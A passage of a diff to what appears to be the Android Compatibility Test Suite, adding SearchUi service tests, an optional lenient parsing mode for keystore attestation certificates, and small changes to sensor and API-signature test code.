+ public static final class Watcher {
+ public CountDownLatch created = new CountDownLatch(1);
+ public CountDownLatch destroyed = new CountDownLatch(1);
+ public CountDownLatch queried = new CountDownLatch(1);
+
+ /**
+ * Can be used to verify that API specific service methods are called. Not a real mock as
+ * the system isn't talking to this directly, it has calls proxied to it.
+ */
+ public CtsSearchUiService verifier;
+
+ public List<SearchTarget> searchTargets;
+
+ public void setTargets(List<SearchTarget> targets) {
+ searchTargets = targets;
+ }
+ }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
new file mode 100644
index 0000000..8018f15
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
+import android.app.search.SearchAction;
+import android.app.search.SearchAction.Builder;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for {@link SearchAction}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(JUnit4.class)
+public class SearchActionTest {
+ private static final String ID = "ID";
+ private static final String TITLE = "TITLE";
+ private static final Intent INTENT = new Intent();
+
+ private final SearchAction.Builder mBuilder = new SearchAction.Builder(ID, TITLE);
+
+ private final Bundle mExtras = new Bundle();
+
+ @Before
+ public void setIntentExtras() {
+ mExtras.putString("SEARCH", "AWESOME");
+ mBuilder.setExtras(mExtras).setIntent(INTENT);
+ }
+
+ @Test
+ public void testBuilder_invalidId() {
+ assertThrows(NullPointerException.class, () -> new Builder (null, TITLE));
+ }
+
+ @Test
+ public void testBuilder_invalidTitle() {
+ assertThrows(NullPointerException.class, () -> new Builder (ID, null));
+ }
+
+ @Test
+ public void testBuilder_zeroIntent() {
+ assertThrows(IllegalStateException.class, () -> new Builder(ID, TITLE).build());
+ }
+
+ @Test
+ public void testParcel_nullIcon() {
+ final SearchAction originalSearchAction = mBuilder.setIntent(INTENT).build();
+ assertEverything(originalSearchAction);
+ final SearchAction clone = cloneThroughParcel(originalSearchAction);
+ assertEverything(clone);
+ }
+
+ @Test
+ public void testParcel_bitmapIcon() {
+ final SearchAction originalSearchAction = mBuilder
+ .setIcon(Icon.createWithBitmap(
+ Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8)))
+ .build();
+ assertEverything(originalSearchAction);
+ final SearchAction clone = cloneThroughParcel(originalSearchAction);
+ assertEverything(clone);
+ }
+
+ @Test
+ public void testParcel_filePathIcon() {
+ final SearchAction originalSearchAction = mBuilder
+ .setIcon(Icon.createWithFilePath("file path"))
+ .build();
+ assertEverything(originalSearchAction);
+ final SearchAction clone = cloneThroughParcel(originalSearchAction);
+ assertEverything(clone);
+ }
+
+ private void assertEverything(@NonNull SearchAction searchAction) {
+ assertThat(searchAction).isNotNull();
+ assertThat(searchAction.getId()).isEqualTo(ID);
+ assertThat(searchAction.getTitle()).isEqualTo(TITLE);
+ assertExtras(searchAction.getExtras());
+ }
+
+ private void assertExtras(@NonNull Bundle bundle) {
+ assertThat(bundle).isNotNull();
+ assertThat(bundle.keySet()).hasSize(1);
+ assertThat(bundle.getString("SEARCH")).isEqualTo("AWESOME");
+ }
+
+ private SearchAction cloneThroughParcel(@NonNull SearchAction searchAction) {
+ final Parcel parcel = Parcel.obtain();
+
+ try {
+ // Write to parcel
+ parcel.setDataPosition(0);
+ searchAction.writeToParcel(parcel, 0);
+
+ // Read from parcel
+ parcel.setDataPosition(0);
+ final SearchAction clone = SearchAction.CREATOR
+ .createFromParcel(parcel);
+ assertThat(clone).isNotNull();
+ return clone;
+ } finally {
+ parcel.recycle();
+ }
+ }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
new file mode 100644
index 0000000..bdc5a67
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_INPUT;
+import static android.searchuiservice.cts.SearchUiUtils.QUERY_TIMESTAMP;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS1;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS2;
+import static android.searchuiservice.cts.SearchUiUtils.RESULT_CORPUS3;
+import static android.searchuiservice.cts.SearchUiUtils.generateSearchTargetList;
+import static android.searchuiservice.cts.SearchUiUtils.generateQuery;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.search.Query;
+import android.app.search.SearchContext;
+import android.app.search.SearchSession;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.app.search.SearchUiManager;
+import android.content.Context;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
+
+/**
+ * Tests for {@link SearchUiManager}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(AndroidJUnit4.class)
+public class SearchUiManagerTest {
+
+ private static final String TAG = "SearchUiManagerTest";
+ private static final boolean DEBUG = false;
+
+ private static final long VERIFY_TIMEOUT_MS = 5_000;
+ private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 20_000;
+
+ @Rule
+ public final RequiredServiceRule mRequiredServiceRule =
+ new RequiredServiceRule(Context.SEARCH_UI_SERVICE);
+
+ private SearchUiManager mManager;
+ private SearchSession mClient;
+ private CtsSearchUiService.Watcher mWatcher;
+
+ @Before
+ public void setUp() throws Exception {
+ mWatcher = CtsSearchUiService.setWatcher();
+ mManager = getContext().getSystemService(SearchUiManager.class);
+ setService(CtsSearchUiService.SERVICE_NAME);
+ SearchContext searchContext = new SearchContext(
+ RESULT_CORPUS1 | RESULT_CORPUS2 | RESULT_CORPUS3, 0, null);
+ mClient = mManager.createSearchSession(searchContext);
+ await(mWatcher.created, "Waiting for onCreate()");
+ reset(mWatcher.verifier);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
+ mClient.destroy();
+ setService(null);
+ await(mWatcher.destroyed, "Waiting for onDestroy()");
+
+ mWatcher = null;
+ CtsSearchUiService.clearWatcher();
+ }
+
+ @Test
+ public void testCreateSearchSession() {
+ assertNotNull(mClient);
+ assertNotNull(mWatcher.verifier);
+ }
+
+ @Test
+ public void testNotifyEvent() {
+ String targetId = "sample target id";
+ int action = SearchTargetEvent.ACTION_SURFACE_VISIBLE;
+ SearchTargetEvent event = new SearchTargetEvent.Builder(targetId, action)
+ .setFlags(SearchTargetEvent.FLAG_IME_SHOWN)
+ .setLaunchLocation("1,0")
+ .build();
+ mClient.notifyEvent(generateQuery(), event);
+
+ ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+ ArgumentCaptor<SearchTargetEvent> eventArg
+ = ArgumentCaptor.forClass(SearchTargetEvent.class);
+
+ verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+ .onNotifyEvent(any(), queryArg.capture(), eventArg.capture());
+
+ assertTrue(queryArg.getValue().getInput().equals(QUERY_INPUT));
+ assertEquals(queryArg.getValue().getTimestamp(), QUERY_TIMESTAMP);
+ assertTrue(eventArg.getValue().getTargetId().equals(targetId));
+ assertEquals(eventArg.getValue().getAction(), action);
+ }
+
+ @Test
+ public void testQuery_realCallback() {
+ Query query = SearchUiUtils.generateQuery();
+ List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(3);
+
+ final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets /* expected */);
+ mWatcher.setTargets(targets /* actual */);
+ mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+ }
+
+ @Test
+ public void testQuery_mockCallback() {
+ List<SearchTarget> targets = SearchUiUtils.generateSearchTargetList(2);
+ Query query = SearchUiUtils.generateQuery();
+
+ final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+ mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+ doAnswer(answer -> {
+ Consumer<List<SearchTarget>> consumer
+ = (Consumer<List<SearchTarget>>) answer.getArgument(2);
+ consumer.accept(targets);
+ return null;
+ }).when(mWatcher.verifier).onQuery(any(), any(), any(Consumer.class));
+ }
+
+ @Test
+ public void testQuery_params() {
+ List<SearchTarget> targets = generateSearchTargetList(2, true, false, false, false);
+ Query query = SearchUiUtils.generateQuery();
+
+ final ConsumerVerifier callbackVerifier = new ConsumerVerifier(targets);
+ mClient.query(query, Executors.newSingleThreadExecutor(), callbackVerifier);
+
+ ArgumentCaptor<Query> queryArg = ArgumentCaptor.forClass(Query.class);
+ ArgumentCaptor<Consumer<List<SearchTarget>>> callbackArg
+ = ArgumentCaptor.forClass(Consumer.class);
+
+ verify(mWatcher.verifier, timeout(VERIFY_TIMEOUT_MS))
+ .onQuery(any(), queryArg.capture(), callbackArg.capture());
+
+ Query expectedQuery = queryArg.getValue();
+ assertTrue(expectedQuery.getInput().equals(QUERY_INPUT));
+ assertEquals(expectedQuery.getTimestamp(), QUERY_TIMESTAMP);
+
+ Consumer<List<SearchTarget>> expectedCallback = callbackArg.getValue();
+ expectedCallback.andThen(callbackVerifier);
+ }
+
+ private void setService(String service) {
+ Log.d(TAG, "Setting search ui service to " + service);
+ int userId = Process.myUserHandle().getIdentifier();
+ if (service != null) {
+ runShellCommand("cmd search_ui set temporary-service "
+ + userId + " " + service + " 60000");
+ } else {
+ runShellCommand("cmd search_ui set temporary-service " + userId);
+ }
+ }
+
+ private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+ try {
+ assertWithMessage(message).that(
+ latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ throw new IllegalStateException("Interrupted while: " + message);
+ }
+ }
+
+ private void runShellCommand(String command) {
+ Log.d(TAG, "runShellCommand(): " + command);
+ try {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ } catch (Exception e) {
+ throw new RuntimeException("Command '" + command + "' failed: ", e);
+ }
+ }
+
+ public static class ConsumerVerifier implements
+ Consumer<List<SearchTarget>> {
+
+ private static List<SearchTarget> mExpectedTargets;
+
+ public ConsumerVerifier(List<SearchTarget> targets) {
+ mExpectedTargets = targets;
+ }
+
+ @Override
+ public void accept(List<SearchTarget> actualTargets) {
+ if (DEBUG) {
+ Log.d(TAG, "ConsumerVerifier.accept targets.size= " + actualTargets.size());
+ Log.d(TAG, "ConsumerVerifier.accept target(1).packageName=" + actualTargets.get(
+ 0).getPackageName());
+ }
+ Assert.assertArrayEquals(actualTargets.toArray(), mExpectedTargets.toArray());
+ }
+ }
+}
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
new file mode 100644
index 0000000..21ecc68
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiUtils.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.searchuiservice.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import android.app.search.Query;
+import android.app.search.SearchAction;
+import android.app.search.SearchTarget;
+import android.app.search.SearchTargetEvent;
+import android.appwidget.AppWidgetProviderInfo;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.net.Uri;
+import android.os.Parcel;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class SearchUiUtils {
+ static final String LAYOUT_TYPE_HERO = "hero";
+
+ static final int RESULT_CORPUS1 = 1 << 0;
+ static final int RESULT_CORPUS2 = 1 << 1;
+ static final int RESULT_CORPUS3 = 1 << 2;
+
+ static final String QUERY_INPUT = "b";
+ static final int QUERY_TIMESTAMP = 314;
+
+ /**
+ * Generate total {@param num} of {@link SearchTarget}s.
+ */
+ static List<SearchTarget> generateSearchTargetList(int num) {
+ return generateSearchTargetList(num, false, false, false, false);
+ }
+
+ /**
+ * Generate total {@param num} of {@link SearchTarget}s.
+ */
+ static List<SearchTarget> generateSearchTargetList(int num,
+ boolean includeSearchAction,
+ boolean includeShortcutInfo,
+ boolean includeAppWidgetProviderInfo,
+ boolean includeSliceUri) {
+ List<SearchTarget> targets = new ArrayList<>();
+ for (int seed = 0; seed < num; seed++) {
+ targets.add(generateSearchTarget(seed,
+ includeSearchAction,
+ includeShortcutInfo,
+ includeAppWidgetProviderInfo,
+ includeSliceUri));
+ }
+ return targets;
+ }
+
+ /**
+ * Generate sample search target using the {@param seed}.
+ */
+ static SearchTarget generateSearchTarget(int seed,
+ boolean includeSearchAction,
+ boolean includeShortcutInfo,
+ boolean includeAppWidgetProviderInfo,
+ boolean includeSliceUri) {
+
+ SearchTarget.Builder builder = new SearchTarget.Builder(RESULT_CORPUS1, LAYOUT_TYPE_HERO, String.valueOf(seed))
+ .setPackageName("package name")
+ .setUserHandle(UserHandle.CURRENT);
+
+ if (includeSearchAction) {
+ builder.setSearchAction(new SearchAction.Builder("id" + seed, "title" + seed)
+ .setIntent(new Intent())
+ .build());
+ }
+
+ if (includeShortcutInfo) {
+ builder.setShortcutInfo(new ShortcutInfo.Builder(getContext(), "id" + seed)
+ .build());
+ }
+
+ if (includeAppWidgetProviderInfo) {
+ builder.setAppWidgetProviderInfo(new AppWidgetProviderInfo());
+ }
+
+ if (includeSliceUri) {
+ builder.setSliceUri(new Uri.Builder().build());
+ }
+
+ return builder.build();
+ }
+
+ static Query generateQuery() {
+ return new Query(QUERY_INPUT, QUERY_TIMESTAMP, null);
+ }
+}
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
index b454130..232a230 100644
--- a/tests/security/src/android/keystore/cts/Asn1Attestation.java
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -40,7 +40,13 @@
* @throws CertificateParsingException if the certificate does not contain a properly-formatted
* attestation extension.
*/
+
public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+ this(x509Cert, true);
+ }
+
+ public Asn1Attestation(X509Certificate x509Cert, boolean strictParsing)
+ throws CertificateParsingException {
super(x509Cert);
ASN1Sequence seq = getAttestationSequence(x509Cert);
@@ -57,8 +63,8 @@
uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
- softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
- teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
+ softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX), strictParsing);
+ teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX), strictParsing);
}
ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
diff --git a/tests/security/src/android/keystore/cts/Asn1Utils.java b/tests/security/src/android/keystore/cts/Asn1Utils.java
index 9586651..933def8 100644
--- a/tests/security/src/android/keystore/cts/Asn1Utils.java
+++ b/tests/security/src/android/keystore/cts/Asn1Utils.java
@@ -137,15 +137,26 @@
public static boolean getBooleanFromAsn1(ASN1Encodable value)
throws CertificateParsingException {
+ return getBooleanFromAsn1(value, true);
+ }
+
+ public static boolean getBooleanFromAsn1(ASN1Encodable value, boolean strictParsing)
+ throws CertificateParsingException {
if (!(value instanceof ASN1Boolean)) {
throw new CertificateParsingException(
"Expected boolean, found " + value.getClass().getName());
}
ASN1Boolean booleanValue = (ASN1Boolean) value;
+
if (booleanValue.equals(ASN1Boolean.TRUE)) {
return true;
} else if (booleanValue.equals((ASN1Boolean.FALSE))) {
return false;
+ } else if (!strictParsing) {
+ // Value is not 0xFF nor 0x00, but some other non-zero value.
+ // This is invalid DER, but if we're not being strict,
+ // consider it true, otherwise fall through and throw exception
+ return true;
}
throw new CertificateParsingException(
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 7414908..e9ff0d2 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -58,8 +58,13 @@
* attestation extension, if it contains multiple attestation extensions, or if the
* attestation extension can not be parsed.
*/
+
public static Attestation loadFromCertificate(X509Certificate x509Cert)
throws CertificateParsingException {
+ return Attestation.loadFromCertificate(x509Cert, true);
+ }
+ public static Attestation loadFromCertificate(X509Certificate x509Cert, boolean strictParsing)
+ throws CertificateParsingException {
if (x509Cert.getExtensionValue(EAT_OID) == null
&& x509Cert.getExtensionValue(ASN1_OID) == null) {
throw new CertificateParsingException("No attestation extensions found");
@@ -74,7 +79,7 @@
throw new CertificateParsingException("Unable to parse EAT extension", cbe);
}
}
- return new Asn1Attestation(x509Cert);
+ return new Asn1Attestation(x509Cert, strictParsing);
}
Attestation(X509Certificate x509Cert) {
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index dce9b2a..af74a2f 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -209,6 +209,10 @@
private boolean confirmationRequired;
public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
+ this(sequence, true);
+ }
+
+ public AuthorizationList(ASN1Encodable sequence, boolean strictParsing) throws CertificateParsingException {
if (!(sequence instanceof ASN1Sequence)) {
throw new CertificateParsingException("Expected sequence for authorization list, found "
+ sequence.getClass().getName());
@@ -292,7 +296,7 @@
userAuthType = Asn1Utils.getIntegerFromAsn1(value);
break;
case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
- rootOfTrust = new RootOfTrust(value);
+ rootOfTrust = new RootOfTrust(value, strictParsing);
break;
case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
attestationApplicationId = new AttestationApplicationId(Asn1Utils
diff --git a/tests/security/src/android/keystore/cts/RootOfTrust.java b/tests/security/src/android/keystore/cts/RootOfTrust.java
index a115874..bfa2f10 100644
--- a/tests/security/src/android/keystore/cts/RootOfTrust.java
+++ b/tests/security/src/android/keystore/cts/RootOfTrust.java
@@ -38,6 +38,11 @@
private final int verifiedBootState;
public RootOfTrust(ASN1Encodable asn1Encodable) throws CertificateParsingException {
+ this(asn1Encodable, true);
+ }
+
+ public RootOfTrust(ASN1Encodable asn1Encodable, boolean strictParsing)
+ throws CertificateParsingException {
if (!(asn1Encodable instanceof ASN1Sequence)) {
throw new CertificateParsingException("Expected sequence for root of trust, found "
+ asn1Encodable.getClass().getName());
@@ -46,7 +51,8 @@
ASN1Sequence sequence = (ASN1Sequence) asn1Encodable;
verifiedBootKey =
Asn1Utils.getByteArrayFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_KEY_INDEX));
- deviceLocked = Asn1Utils.getBooleanFromAsn1(sequence.getObjectAt(DEVICE_LOCKED_INDEX));
+ deviceLocked = Asn1Utils.getBooleanFromAsn1(
+ sequence.getObjectAt(DEVICE_LOCKED_INDEX), strictParsing);
verifiedBootState =
Asn1Utils.getIntegerFromAsn1(sequence.getObjectAt(VERIFIED_BOOT_STATE_INDEX));
}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
index 7c9be9f..74f28ba 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
@@ -91,7 +91,7 @@
long wakeupTimeMs = (System.currentTimeMillis()
+ TimeUnit.MILLISECONDS.convert(mSleepDuration, mTimeUnit));
Intent intent = new Intent(ACTION);
- PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
am.setExact(AlarmManager.RTC_WAKEUP, wakeupTimeMs, pendingIntent);
// Execute operation
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 4a61a40..669e033 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -30,6 +30,8 @@
<option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,car-system-current.api.gz,car-system-removed.api.gz" />
<option name="instrumentation-arg" key="annotation-for-exact-match" value="@android.annotation.SystemApi\(client=PRIVILEGED_APPS\)" />
<option name="runtime-hint" value="30s" />
+ <!-- Disable hidden API checks (http://b/171459260). -->
+ <option name="hidden-api-checks" value="false" />
</test>
<!-- Controller that will skip the module if a native bridge situation is detected -->
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index 78f114b..efefdd5 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -20,9 +20,14 @@
import android.os.Bundle;
import android.signature.cts.AnnotationChecker;
import android.signature.cts.ApiDocumentParser;
+import android.signature.cts.JDiffClassDescription;
import com.android.compatibility.common.util.PropertyUtil;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
/**
* Checks that parts of the device's API that are annotated (e.g. with android.annotation.SystemApi)
* match the API definition.
@@ -47,9 +52,33 @@
public void testAnnotation() {
if ("true".equals(PropertyUtil.getProperty("ro.treble.enabled")) &&
PropertyUtil.getFirstApiLevel() > Build.VERSION_CODES.O_MR1) {
+ AnnotationChecker.ResultFilter filter = new AnnotationChecker.ResultFilter() {
+ @Override
+ public boolean skip(Class<?> clazz) {
+ return false;
+ }
+
+ @Override
+ public boolean skip(Constructor<?> ctor) {
+ return false;
+ }
+
+ @Override
+ public boolean skip(Method m) {
+ return false;
+ }
+
+ @Override
+ public boolean skip(Field f) {
+ // The R.styleable class is not part of the API because it's annotated with
+ // @doconly. But the class actually exists in the runtime classpath. To avoid
+ // the mismatch, skip the check for fields from the class.
+ return "android.R$styleable".equals(f.getDeclaringClass().getName());
+ }
+ };
runWithTestResultObserver(resultObserver -> {
AnnotationChecker complianceChecker = new AnnotationChecker(resultObserver,
- classProvider, annotationForExactMatch);
+ classProvider, annotationForExactMatch, filter);
ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
diff --git a/tests/signature/api-check/system-api/Android.mk b/tests/signature/api-check/system-api/Android.mk
index c37915b..cd3bc47 100644
--- a/tests/signature/api-check/system-api/Android.mk
+++ b/tests/signature/api-check/system-api/Android.mk
@@ -29,7 +29,6 @@
LOCAL_MODULE_STEM := system-all.api.zip
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := arcts cts general-tests
include $(BUILD_SYSTEM)/base_rules.mk
$(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
$(LOCAL_BUILT_MODULE): PRIVATE_SYSTEM_API_FILES := $(all_system_api_files)
diff --git a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
index cd6db94..3f14dad 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
@@ -19,6 +19,7 @@
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
+import java.util.stream.Collectors;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
@@ -30,6 +31,8 @@
private final String annotationSpec;
+ private final ResultFilter filter;
+
private final Map<String, Class<?>> annotatedClassesMap = new HashMap<>();
private final Map<String, Set<Constructor<?>>> annotatedConstructorsMap = new HashMap<>();
private final Map<String, Set<Method>> annotatedMethodsMap = new HashMap<>();
@@ -40,10 +43,12 @@
* android.annotation.SystemApi)
*/
public AnnotationChecker(
- ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec) {
+ ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec,
+ ResultFilter filter) {
super(classProvider, resultObserver);
this.annotationSpec = annotationSpec;
+ this.filter = filter;
classProvider.getAllClasses().forEach(clazz -> {
if (ReflectionHelper.hasMatchingAnnotation(clazz, annotationSpec)) {
annotatedClassesMap.put(clazz.getName(), clazz);
@@ -51,28 +56,43 @@
Set<Constructor<?>> constructors = ReflectionHelper.getAnnotatedConstructors(clazz,
annotationSpec);
if (!constructors.isEmpty()) {
- annotatedConstructorsMap.put(clazz.getName(), constructors);
+ annotatedConstructorsMap.put(clazz.getName(), constructors.stream().
+ filter(c -> !c.isSynthetic()).collect(Collectors.toSet()));
}
Set<Method> methods = ReflectionHelper.getAnnotatedMethods(clazz, annotationSpec);
if (!methods.isEmpty()) {
- annotatedMethodsMap.put(clazz.getName(), methods);
+ annotatedMethodsMap.put(clazz.getName(), methods.stream().
+ filter(m -> !m.isSynthetic()).collect(Collectors.toSet()));
}
Set<Field> fields = ReflectionHelper.getAnnotatedFields(clazz, annotationSpec);
if (!fields.isEmpty()) {
- annotatedFieldsMap.put(clazz.getName(), fields);
+ annotatedFieldsMap.put(clazz.getName(), fields.stream().
+ filter(f -> !f.isSynthetic()).collect(Collectors.toSet()));
}
});
}
+ /**
+ * ResultFilter allows users to skip the check for certain types of APIs.
+ */
+ public interface ResultFilter {
+ public boolean skip(Class<?> clazz);
+ public boolean skip(Constructor<?> ctor);
+ public boolean skip(Method m);
+ public boolean skip(Field f);
+ }
+
@Override
public void checkDeferred() {
for (Class<?> clazz : annotatedClassesMap.values()) {
+ if (filter != null && filter.skip(clazz)) continue;
resultObserver.notifyFailure(FailureType.EXTRA_CLASS, clazz.getName(),
"Class annotated with " + annotationSpec
+ " does not exist in the documented API");
}
for (Set<Constructor<?>> set : annotatedConstructorsMap.values()) {
for (Constructor<?> c : set) {
+ if (filter != null && filter.skip(c)) continue;
resultObserver.notifyFailure(FailureType.EXTRA_METHOD, c.toString(),
"Constructor annotated with " + annotationSpec
+ " does not exist in the API");
@@ -80,6 +100,7 @@
}
for (Set<Method> set : annotatedMethodsMap.values()) {
for (Method m : set) {
+ if (filter != null && filter.skip(m)) continue;
resultObserver.notifyFailure(FailureType.EXTRA_METHOD, m.toString(),
"Method annotated with " + annotationSpec
+ " does not exist in the API");
@@ -87,6 +108,7 @@
}
for (Set<Field> set : annotatedFieldsMap.values()) {
for (Field f : set) {
+ if (filter != null && filter.skip(f)) continue;
resultObserver.notifyFailure(FailureType.EXTRA_FIELD, f.toString(),
"Field annotated with " + annotationSpec
+ " does not exist in the API");
